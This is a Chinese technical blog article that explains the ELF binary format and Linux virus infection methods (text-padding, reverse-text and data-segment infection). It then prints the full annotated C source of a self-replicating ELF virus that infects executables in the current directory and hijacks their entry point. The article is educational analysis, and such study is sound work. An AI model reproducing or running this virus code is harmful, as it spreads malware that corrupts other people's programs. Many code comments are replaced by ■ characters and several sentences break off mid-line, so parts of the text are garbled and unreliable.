ELF病毒分析

Edvison / 2018-04-08 21:50:58 / 浏览数 2507 技术文章 技术文章 顶(0) 踩(0)

前言

说起病毒大家肯定都很熟悉，但大多数人想起的一定是windows平台下病毒，而对linux下的病毒熟悉的人却少之又少。
之前在学习ELF文件格式的时候了解到ELF病毒的存在，现在让我们来花点时间深入学习下ELF病毒吧:)

1. ELF二进制格式

1.1 elf文件类型

ELF文件可以被标记为下面几种类型：

- ET_NONE：未知类型。
- ET_REL：重定位文件。类型标记为relocatable，表示这个文件被标记了一段可重定位的代码，在编译完代码后可以看到一个.o文件。
- ET_EXEC：可执行文件。类型标记为executable.
- EY_DYN：共享目标文件（共享库）。类型标记为dynamic，可动态链接的目标文件，这类共享库会在程序运行时被装载并链接到程序的进程镜像中。
- ET_CORE：核心文件。在程序崩溃时生成的文件，记录了进程的镜像信息，可以用gdb调试来找到崩溃的原因。

用`readelf -e`命令可以看到ELF头、节头、程序头、段节这些信息，接下来我们会对其进行简单地介绍。

1.2 ELF头

用`$ readelf -h`命令可以查看ELF文件头：

```
edvison@edvison:~/pwn$ readelf -h level0
ELF 头：
  Magic：   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  类别：                             ELF64
  数据：                             2 补码，小端序 (little endian)
  版本：                             1 (current)
  OS/ABI：                           UNIX - System V
  ABI 版本：                         0
  类型：                             EXEC (可执行文件)
  系统架构：                         Advanced Micro Devices X86-64
  版本：                             0x1
  入口点地址：               0x4004a0
  程序头起点：          64 (bytes into file)
  Start of section headers:          5280 (bytes into file)
  标志：             0x0
  本头的大小：       64 (字节)
  程序头大小：       56 (字节)
  Number of program headers:         8
  节头大小：         64 (字节)
  节头数量：         30
  字符串表索引节头： 27
```

在usr/include/elf.h文件中可以看到对elf头结构体的定义：

```
/* The ELF file header.  This appears at the start of every ELF file.  */

#define EI_NIDENT (16)

typedef struct
{
  unsigned char e_ident[EI_NIDENT];     /* Magic number and other info */
  Elf32_Half    e_type;                 /* Object file type */
  Elf32_Half    e_machine;              /* Architecture */
  Elf32_Word    e_version;              /* Object file version */
  Elf32_Addr    e_entry;                /* Entry point virtual address */
  Elf32_Off     e_phoff;                /* Program header table file offset */
  Elf32_Off     e_shoff;                /* Section header table file offset */
  Elf32_Word    e_flags;                /* Processor-specific flags */
  Elf32_Half    e_ehsize;               /* ELF header size in bytes */
  Elf32_Half    e_phentsize;            /* Program header table entry size */
  Elf32_Half    e_phnum;                /* Program header table entry count */
  Elf32_Half    e_shentsize;            /* Section header table entry size */
  Elf32_Half    e_shnum;                /* Section header table entry count */
  Elf32_Half    e_shstrndx;             /* Section header string table index */
} Elf32_Ehdr;

typedef struct
{
  unsigned char e_ident[EI_NIDENT];     /* Magic number and other info */
  Elf64_Half    e_type;                 /* Object file type */
  Elf64_Half    e_machine;              /* Architecture */
  Elf64_Word    e_version;              /* Object file version */
  Elf64_Addr    e_entry;                /* Entry point virtual address */
  Elf64_Off     e_phoff;                /* Program header table file offset */
  Elf64_Off     e_shoff;                /* Section header table file offset */
  Elf64_Word    e_flags;                /* Processor-specific flags */
  Elf64_Half    e_ehsize;               /* ELF header size in bytes */
  Elf64_Half    e_phentsize;            /* Program header table entry size */
  Elf64_Half    e_phnum;                /* Program header table entry count */
  Elf64_Half    e_shentsize;            /* Section header table entry size */
  Elf64_Half    e_shnum;                /* Section header table entry count */
  Elf64_Half    e_shstrndx;             /* Section header string table index */
} Elf64_Ehdr;
```


我们注意到前面readelf的输出里的"Magic"的16个字节刚好是对应"Elf32_Ehdr"的e_ident这个成员。这16个字节被ELF标准规定用来标识ELF文件的平台属性，比如ELF字长
在输出中我们还能看到类别、数据、入口点地址等等重要信息，在分析一个ELF二进制文件之前检查ELF头是很重要的。

1.3 节头

首先要注意的是节不是段。段是程序执行的必要组成部分，在每个段中，会有代码或数据被划分为不同的节。
而节头表是对这些节的位置和大小的描述，主要用于链接和调试。一个二进制文件中如果缺少节头并不说明节不存在，只是无法通过节头来引用节，所以，ELF文件一定会有
text段的布局如下：

```
[.text] ■■■■
[.rodata] ■■■■
[.hash] ■■■■■
[.dynsym] ■■■■■■■■■■
[.dynstr] ■■■■■■■■■■
[.plt] ■■■■■■
[.rel.got] G.O.T■■■■■
```

data段的布局如下：

```
[,data] ■■■■■■■■
[.dynamic] ■■■■■■■■■■
```

[.got.plt] ■■■■■
[.bss] ■■■■■■■■

接下来将介绍一些比较重要的节：

- .text节
  保存了程序代码数据的代码节。如果存在Phdr，那么.text节就会存在于text段中。
- .rodata节
  保存了只读的数据，比如`printf ("Hello World!\n");`这句代码就是保存在.rodata节中，并且只能在text段中找到.rodata节。
- .plt节
  包含动态链接器调用从共享库导入的函数所必须的相关代码。
- .data节
  .data节存在于data段中，保存了初始化的全局变量等数据。
- .bss节
  保存了未进行初始化的全局数据，在data段中。
- .got.plt节
  .got节保存了全局偏移表，.got和.plt节一起提供了对导入的共享库函数的访问入口，由动态链接器在运行时进行修改。
- .dynsym节
  保存了从共享库导入的动态符号信息，在text段中。
- .dynstr节
  保存了动态符号字符串表，存放了代表符号名称的字符串。
- .rel.*节
  重定位节保存了重定位相关的信息，这些信息描述了如何在链接或者运行时对ELF目标文件的某部分或进程镜像进行补充或修改，
- .ctors、.dtors节
  构造器(.ctors)和解析器(.dtors)保存了指向构造函数和析构函数的函数指针，构造函数是指在main函数执行之前执行的代码，析构函数是在main函数之后执行的代码。

1.4 ELF程序头

ELF程序头是对二进制文件中段的描述，而段是在内核装载是被解析，描述了磁盘上可执行文件的内存布局以及如何映射到内存中的。

- PT_LOAD
  可装载段，即这类段将被装载或映射到内存中。
  PT_DYNAMIC
  动态段的Phdr，动态段是动态链接可执行文件所特有的，包含了动态链接器所必须的信息。包括：

  ■■■■■■■■■■■■■■
  ■■■■■■■GOT■■■■■
  ■■■■■■■■■■■

- PT_NOTE
  保存了操作系统的规范信息，实际上在可执行文件运行时不需要这个段，所以这个段成了很容易感染病毒的地方。
- PT_INTERP
  对程序解释器即动态链接器位置的描述，将位置和大小信息存放在以null为终止符的字符串中。
- PT_PHDR
  保存了程序头表本身的位置和大小，Phdr表保存了所有Phdr对文件中段的描述信息。
  用`$ readelf -l`命令可以查看文件的Phdr表：

```
edvison@edvison:~/pwn$ readelf -l level0

Elf 文件类型为 EXEC (可执行文件)
入口点 0x4004a0
共有 8 个程序头，开始于偏移量 64

程序头:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
                 0x00000000000001c0 0x00000000000001c0  R E    0x8
  INTERP         0x0000000000000200 0x0000000000400200 0x0000000000400200
                 0x000000000000001c 0x000000000000001c  R      0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x0000000000000814 0x0000000000000814  R E    0x200000
  LOAD           0x0000000000000818 0x0000000000600818 0x0000000000600818
                 0x0000000000000240 0x0000000000000248  RW     0x200000
  DYNAMIC        0x0000000000000830 0x0000000000600830 0x0000000000600830
                 0x00000000000001d0 0x00000000000001d0  RW     0x8
  NOTE           0x000000000000021c 0x000000000040021c 0x000000000040021c
                 0x0000000000000044 0x0000000000000044  R      0x4
  GNU_EH_FRAME   0x000000000000069c 0x000000000040069c 0x000000000040069c
                 0x0000000000000044 0x0000000000000044  R      0x4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     0x10
```


2.ELF病毒技术

2.1 ELF病毒原理

每个可执行文件都有一个控制流，即执行路径，而elf病毒的首要目标是劫持控制流，暂时改变程序的执行路径来执行寄生代码。
寄生代码通常负责设置钩子来劫持函数，还会将自身代码复制到没有感染病毒的程序中。一旦寄生代码执行完成，就会跳到原始的入口点或正常的执行路径上，这样就使得病
另外，一个真正的ELF病毒应该具有下面的特点：

- 能感染可执行文件
- 寄生代码必须是独立的，能够在物理上寄存与另一个程序内部，不能依赖动态链接器链接外部的库。独立于其他文件、代码库、程序等。
- 被感染的宿主文件能继续执行并传播病毒

2.2 设计ELF病毒的关键问题

独立寄生代码

前面说过寄生代码必须是独立的。由于每次感染的地址都会变化，寄生代码每次注入二进制文件中的位置也会变化，所以寄存程序必须能够动态计算出所在的内存地址。寄生
使用gcc的`-nostdlib`或`-fpic -pie`选项可以将其编译成位置独立的代码。

字符串存储问题

在病毒代码处理字符串时，如果遇到这样的代码`const char *name = "elfvirus";`，编译器会将字符串数据存放在.rodata节中，然后通过地址对字符串进行引用，一旦使用病毒注入到其他程序中，这个地址就会失效。所以在编写病毒代码时

```
char name[] = {'e', 'l', 'f', 'v', 'i', 'r', 'u', 's', '\0'};
```

或者是用仍然使用传统的字符串定义方式，然后用gcc的`-N`选项，将text段和data段合并到一个单独的段中，使这个段具有可读、可写、可执行权限，这样病毒在感染时就会

将执行控制流传给寄生代码

一般情况下可以通过调整ELF文件头来将入口点指向寄生代码，但是这样做很容易暴露寄生代码的位置。更谨慎的方法是找一个合适的位置插入或修改分支，通过分支来跳转

3.ELF病毒寄生代码感染方法

3.1 Silvio填充感染

UNIX病毒之父Silvio发明的text段填充感染方法，利用了内存中text段和data段之间存在的一页大小的填充空间作为病毒体的存放空间。

.text感染算法

- 增加ELF文件头中的ehdr->e_shoff（节表偏移）的PAGE_SIZE（页长度）
- 定位text段的phdr
  修改入口点ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz
  增加phdr[TEXT].p_filesz（文件长度）的长度为寄生代码的长度
  增加phdr[TEXT].p_memsz（内存长度）的长度为寄生代码的长度
- 对每个phdr（程序头），对应段若在寄生代码之后，则根据页长度增加对应的偏移
- 找到text段的最后一个shdr(节头)，把shdr[x].sh_size增加为寄生代码的长度
- 对每个位于寄生代码插入位置之后shdr，根据页长度增加对应的偏移
- 将真正的寄生代码插入到text段的file_base + phdr[TEXT].p_filesz（text段的尾部）

3.2 逆向text感染

在允许宿主代码保持相同虚拟地址的同时感染.text节区的前面部分，我们要逆向扩展text段，将text段的虚拟地址缩减PAGE_ALIGN(parasite_size)。
在现代Linux系统中允许的最小虚拟映射地址是0x1000，也就是text的虚拟地址最多能扩展到0x1000。在64位系统上，默认的text段虚拟地址通常是0x400000，这样寄生代
计算一个可执行文件中可插入的最大寄生代码大小公式：

```
max_parasite_length = orig_text_vaddr - (0x1000 + sizeof(ElfN_Ehdr))
```

感染算法：

- 将ehdr_eshoff增加为寄生代码长度
- 找到text段和phdr，保存p_vaddr（虚拟地址）的初始值
  根据寄生代码长度减小p_vaddr和p_paddr（物理地址）
  根据寄生代码长度增大p_filesz和p_memsz
- 遍历每个程序头的偏移，根据寄生代码的长度增加它的值；使得phdr前移，为逆向text扩展腾出空间
- 将ehdr->e_entry设置为原始text段的虚拟地址：
  `orig_text_vaddr - PAGE_ROUND(parasite_len) + sizeof(ElfN_Ehdr)`
- 根据寄生代码的长度增加ehdr->e_phoff
- 创建新的二进制文件映射出所有的修改，插入真正的寄生代码覆盖旧的二进制文件。

3.3 data段感染

data段的数据有R+W权限，而text段来R+X权限，我们可以在未设置NX-bit的系统（32位linux系统）上，不改变data段权限并执行data段中的代码，这样对寄生代码的大小
感染算法：

- 将ehdr->e_shoff增加为寄生代码的长度
- 定位data段的phdr
  将ehdr->e_entry指向寄生代码的位置
  `phdr->pvaddr + phdr->filesz`
  将phdr->p_filesz，phdr->p_memsz增加为寄生代码的长度
- 调整.bss节头，使其偏移量和地址能反映寄生代码的尾部
- 设置data段的权限(在设置了NX-bit的系统上，未设置的系统不需要这步)
  `phdr[DATA].p_flags |= PF_X;`
- 使用假名为寄生代码添加节头，防止有人执行/usr/bin/strip <program>将没有进行节头说明的寄生代码清除掉。
- 创建新的二进制文件映射出所有的修改，插入寄生代码覆盖旧的二进制文件。

4.系统调用

前面说过，我们要编译独立的寄生代码，一方面也是为了让病毒能在不同的环境下运行。那么就不能使用其他的库，而是使用系统调用来完成病毒所需要的功能。通过系统调
下面是在x86架构下，我们自己封装的系统调用的一组接口syscall0~syscall6，原本的接口可以在unistd.h中查看：

```
#define __syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
       : "=a" (__res) \
       : "0" (__NR_##name)); \
return(type)__res; \
}

#define __syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
```

```
__asm__ volatile ("int $0x80" \
       : "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
return(type)__res; \
}

#define __syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
       : "=a" (__res) \
       : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
return(type)__res; \
}

#define __syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
       : "=a" (__res) \
       : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
                 "d" ((long)(arg3))); \
return(type)__res; \
}

#define __syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
       : "=a" (__res) \
       : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
         "d" ((long)(arg3)),"S" ((long)(arg4))); \
return(type)__res; \
}

#define __syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
         type5,arg5) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
       : "=a" (__res) \
       : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
         "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
return(type)__res; \
}

#define __syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
         type5,arg5,type6,arg6) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \
{ \
long __res; \
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp" \
       : "=a" (__res) \
       : "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
         "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \
         "0" ((long)(arg6))); \
return(type),__res; \
}
```

实际上这组接口的区别只是向内核传递的参数个数不同，只有__syscall6多了栈操作。这是因为超过了五个参数就不能用寄存器来传递参数了，只能用使用栈。
病毒程序常用的系统调用如下：

```
__syscall0(int,fork);

__syscall1(time_t, time, time_t *, t);
```

```
__syscall1(int, close, int, fd);

__syscall1(unsigned long, brk, unsigned long, brk);

__syscall1(int, unlink, const char *, pathname);

__syscall1(void, exit, int, status);

__syscall2(int, fstat, int, fd, struct stat *, buf);

__syscall2(int, fchmod, int, filedes, mode_t, mode);

__syscall2(int,chmod,const char *,pathname,unsigned int,mode);

__syscall2(int, rename, const char *, oldpath, const char *, newpath);

__syscall3(int, fchown, int, fd, uid_t, owner, gid_t, group);

__syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);

__syscall3(int, open, const char *, file, int, flag, int, mode);

__syscall3(off_t, lseek, int, filedes, off_t, offset, int, whence);

__syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);

__syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count);

__syscall3(int, execve, const char *, file, char **, argv, char **, envp);

__syscall3(pid_t, waitpid, pid_t, pid, int *, status, int, options);
```

5.LPV病毒分析

lpv病毒是《linux二进制分析》作者Ryan O'Neill用.text感染算法写的linux32位下的测试病毒。

> 这个病毒将自己复制到它有权写入的第一个未受感染的可执行文件（复制也是病毒最本质的行为），它一次只复制一个可执行文件。
> 病毒会在感染的每个二进制文件中写入magic作为标记，使病毒能检测到文件是否为已被感染。
> 目前病毒只感染当前工作目录内的文件，但可以很容易地修改。
> 此病毒在主机可执行文件的text段末尾扩展/创建PAGE大小的填充，然后将其自身复制到该位置。
> 原始入口点被修补到寄生代码的起点，该寄生代码在其执行后将控制权返回给主机。该代码与位置无关并通过系统调用宏避开libc。

关键部分我在下面的源码中加上了注释：

```
/*
* Linux VIRUS - 12/19/08 Ryan O'Neill
*
* -= DISCLAIMER =-
* This code is purely for research purposes and so that the reader may have a deeper understanding
* of UNIX Virus infection within ELF executables.
*
* Behavior:
* The virus copies itself to the first uninfected executable that it has write permissions to,
* therefore the virus copies itself one executable at a time. The virus writes a bit of magic
* into each binary that it infects so that it knows not to re-infect it. The virus at present
* only infects files within the current working directory, but can easily be modified.
*
* This virus extends/creates a PAGE size padding at the end of the text segment within the host
* executable, and copies itself into that location. The original entry point is patched to the
* start of the parasite which returns control back to the host after its execution.
* The code is position independent and eludes libc through syscall macros.
*
* Compile:
* gcc virus.c -o virus -nostdlib
*
* elfmaster[at]zoho.com
*
*/
```

```
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/fcntl.h>
#include <errno.h>
#include <elf.h>
#include <asm/unistd.h>
#include <asm/stat.h>

#define PAGE_SIZE 4096
#define BUF_SIZE 1024
#define TMP "vx.tmp"

void end_code(void);

unsigned long get_eip();
unsigned long old_e_entry;
void end_code(void);
void mirror_binary_with_parasite (unsigned int, unsigned char *, unsigned int,
                 struct stat, char *, unsigned long);

extern int myend;
extern int foobar;
extern int real_start;

_start()
{
__asm__(".globl real_start\n"
   "real_start:\n"
   "pusha\n"
   "call do_main\n"    //■■■do_main()
   "popa\n"
   "jmp myend\n");    //■■■■■■■■■■

}

do_main()
{

 struct linux_dirent
 {
         long d_ino;
         off_t d_off;
         unsigned short d_reclen;
         char d_name[];
 };

 char *host;
 char buf[BUF_SIZE];
 char cwd[2];
 struct linux_dirent *d;
 int bpos;
 int dd, nread;

 unsigned char *tp;
 int fd, i, c;
 char text_found;
 mode_t mode;

 struct stat st;

 unsigned long address_of_main = get_eip() - ((char *)&foobar - (char *)&real_start);  //■■■■main■■■■

 unsigned int parasite_size = (char *)&myend - (char *)&real_start;   //■■■■■■■■■■■■■■■■■■■■■■
```

```
parasite_size += 7;  // 7■jmp_code■■■■■■■■■■■■■■■■

unsigned long int leap_offset;
unsigned long parasite_vaddr;
unsigned int numbytes;

Elf32_Shdr *s_hdr;
Elf32_Ehdr *e_hdr;
Elf32_Phdr *p_hdr;

unsigned long text;
int nc;
int magic = 32769;
int m, md;
text_found = 0;
unsigned int after_insertion_offset;
unsigned int end_of_text;

char infected;

cwd[0] = '.';
cwd[1] = 0;

dd = open (cwd, O_RDONLY | O_DIRECTORY);

nread = getdents (dd, buf, BUF_SIZE);
/*■■■■■■■■■■■■■■■■■■■■■■■■*/
for (bpos = 0; bpos < nread;) {

  d = (struct linux_dirent *) (buf + bpos);
  bpos += d->d_reclen;

  host = d->d_name;

  if (host[0] == '.')
  continue;

  if (host[0] == 'l')
  continue;

  fd = open (d->d_name, O_RDONLY);

  stat(host, &st);
  char mem[st.st_size];

  infected = 0;
  c = read (fd, mem, st.st_size);

  e_hdr = (Elf32_Ehdr *) mem;
  if (e_hdr->e_ident[0] != 0x7f && strcmp (&e_hdr->e_ident[1], "ELF"))  //■■■■■■■■■■elf■■■■■■
  {
        close (fd);
        continue;
  }
  else
  {
      p_hdr = (Elf32_Phdr *) (mem + e_hdr->e_phoff);
  for (i = e_hdr->e_phnum; i-- > 0; p_hdr++)
  {
      if (p_hdr->p_type == PT_LOAD)
      {
          if (p_hdr->p_flags == (PF_R | PF_X))
          {
              md = open(d->d_name, O_RDONLY);
              unsigned int pt = (PAGE_SIZE - 4) - parasite_size;
              lseek(md, p_hdr->p_offset + p_hdr->p_filesz + pt, SEEK_SET);
              read(md, &m, sizeof(magic));
              if (m == magic)  //■■magic■■■■■■■■■■
                  infected++;
```

```
              close(md);
              break;
          }
      }
  }
  }

  if (infected)  //■■■■■■■■■■■■■■■■■■
  {
  close(fd);
      continue;
  }
  else
  {
        p_hdr = (Elf32_Phdr *) (mem + e_hdr->e_phoff);
      for (i = e_hdr->e_phnum; i-- > 0; p_hdr++)
  {
       /*■■text■■phdr*/
      if (text_found)
      {
            p_hdr->p_offset += PAGE_SIZE;
          continue;
      }
      else
      if (p_hdr->p_type == PT_LOAD)
      {
            if (p_hdr->p_flags == (PF_R | PF_X))
          {
                  text = p_hdr->p_vaddr;
                  parasite_vaddr = p_hdr->p_vaddr + p_hdr->p_filesz;
                  old_e_entry = e_hdr->e_entry;      //■■■■■■■
                  e_hdr->e_entry = parasite_vaddr;  //■■■■■■■■■■■■■■■■
                  end_of_text = p_hdr->p_offset + p_hdr->p_filesz;
                  p_hdr->p_filesz += parasite_size;  //■■■■■■■■■■■■■■■■■■■
                  p_hdr->p_memsz += parasite_size;
                  text_found++;
            }
      }
  }
  }
  s_hdr = (Elf32_Shdr *) (mem + e_hdr->e_shoff);
  for (i = e_hdr->e_shnum; i-- > 0; s_hdr++) //■■■■■
  {
        if (s_hdr->sh_offset >= end_of_text)  //■■■■■■■■■■■■■■■■■■■■■
        s_hdr->sh_offset += PAGE_SIZE;
    else
    if (s_hdr->sh_size + s_hdr->sh_addr == parasite_vaddr)  //■■■text■■■■■■■■■■■■■■■■■■■
        s_hdr->sh_size += parasite_size;
  }

    e_hdr->e_shoff += PAGE_SIZE;  //■■■■■■■■■■■■
    mirror_binary_with_parasite (parasite_size, mem, end_of_text, st, host, address_of_main);
    close (fd);
    goto done;
 }
    done:
    close (dd);
 }

void
mirror_binary_with_parasite (unsigned int psize, unsigned char *mem,
 unsigned int end_of_text, struct stat st, char *host, unsigned long address_of_main)
{

 int ofd;
 unsigned int c;
 int i, t = 0;
 int magic = 32769;
```

```
 char tmp[3];
 tmp[0] = '.';
 tmp[1] = 'v';
 tmp[2] = 0;

 char jmp_code[7];

 //■■jmp_code■■■■■■■■■
 jmp_code[0] = '\x68'; /* push */
 jmp_code[1] = '\x00'; /* 00    */
 jmp_code[2] = '\x00'; /* 00    */
 jmp_code[3] = '\x00'; /* 00    */
 jmp_code[4] = '\x00'; /* 00    */
 jmp_code[5] = '\xc3'; /* ret */
 jmp_code[6] = 0;

 int return_entry_start = 1;
 ofd = open (tmp, O_CREAT | O_WRONLY | O_TRUNC, st.st_mode);

 write (ofd, mem, end_of_text);  //■■text■■■■
 *(unsigned long *) &jmp_code[1] = old_e_entry;  //■■■■■■■■■■■■■■■■
 write (ofd, (char *)address_of_main, psize - 7); //■■■■■■■text■■■■■■
 write (ofd, jmp_code, 7);  //■■jmp_code

 lseek (ofd, (PAGE_SIZE - 4) - psize, SEEK_CUR);
 write (ofd, &magic, sizeof(magic));  //■magic■■■■■■■■■■

 mem += end_of_text;

 unsigned int last_chunk = st.st_size - end_of_text;
 write (ofd, mem, last_chunk);
 rename (tmp, host);
 close (ofd);


}

unsigned long get_eip(void)
{
 __asm__("call foobar\n"
         ".globl foobar\n"
         "foobar:\n"
         "pop %eax");
}

/*■■■■■■■■*/
#define __syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
       : "=a" (__res) \
       : "0" (__NR_##name)); \
return(type)__res; \
}

#define __syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
       : "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
return(type)__res; \
}


#define __syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
```

```
{ \
long __res; \
__asm__ volatile ("int $0x80" \
       : "=a" (__res) \
       : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
return(type)__res; \
}

#define __syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
       : "=a" (__res) \
       : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
                 "d" ((long)(arg3))); \
return(type)__res; \
}
#define __syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
       : "=a" (__res) \
       : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
         "d" ((long)(arg3)),"S" ((long)(arg4))); \
return(type)__res; \
}

#define __syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
         type5,arg5) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
       : "=a" (__res) \
       : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
         "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
return(type)__res; \
}
#define __syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
         type5,arg5,type6,arg6) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \
{ \
long __res; \
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp" \
       : "=a" (__res) \
       : "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
         "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \
         "0" ((long)(arg6))); \
return(type),__res; \
}

__syscall1(void, exit, int, status);
__syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count);
__syscall3(off_t, lseek, int, fildes, off_t, offset, int, whence);
__syscall2(int, fstat, int, fildes, struct stat * , buf);
__syscall2(int, rename, const char *, old, const char *, new);
__syscall3(int, open, const char *, pathname, int, flags, mode_t, mode);
__syscall1(int, close, int, fd);
__syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
__syscall3(int, read, int, fd, void *, buf, size_t, count);
__syscall2(int, stat, const char *, path, struct stat *, buf);

//■■■■■■
void end_code() {

__asm__(".globl myend\n"
   "myend:        \n"
```

```
        "mov $1,%eax \n"    // sys_exit
        "mov $0,%ebx \n"    //normal status
    "int $0x80  \n");

}
```

6.参考

《linux二进制分析》
ELF文件病毒分析和编写：https://blog.csdn.net/luojiafei/article/details/7206063
使用汇编编写一个病毒：https://www.anquanke.com/post/id/85256

上一篇：Catfish(鲶鱼) CMS V... 下一篇：base58 与 base64 的区别

1. 0 条回复
   - 动动手指，沙发就是你的了！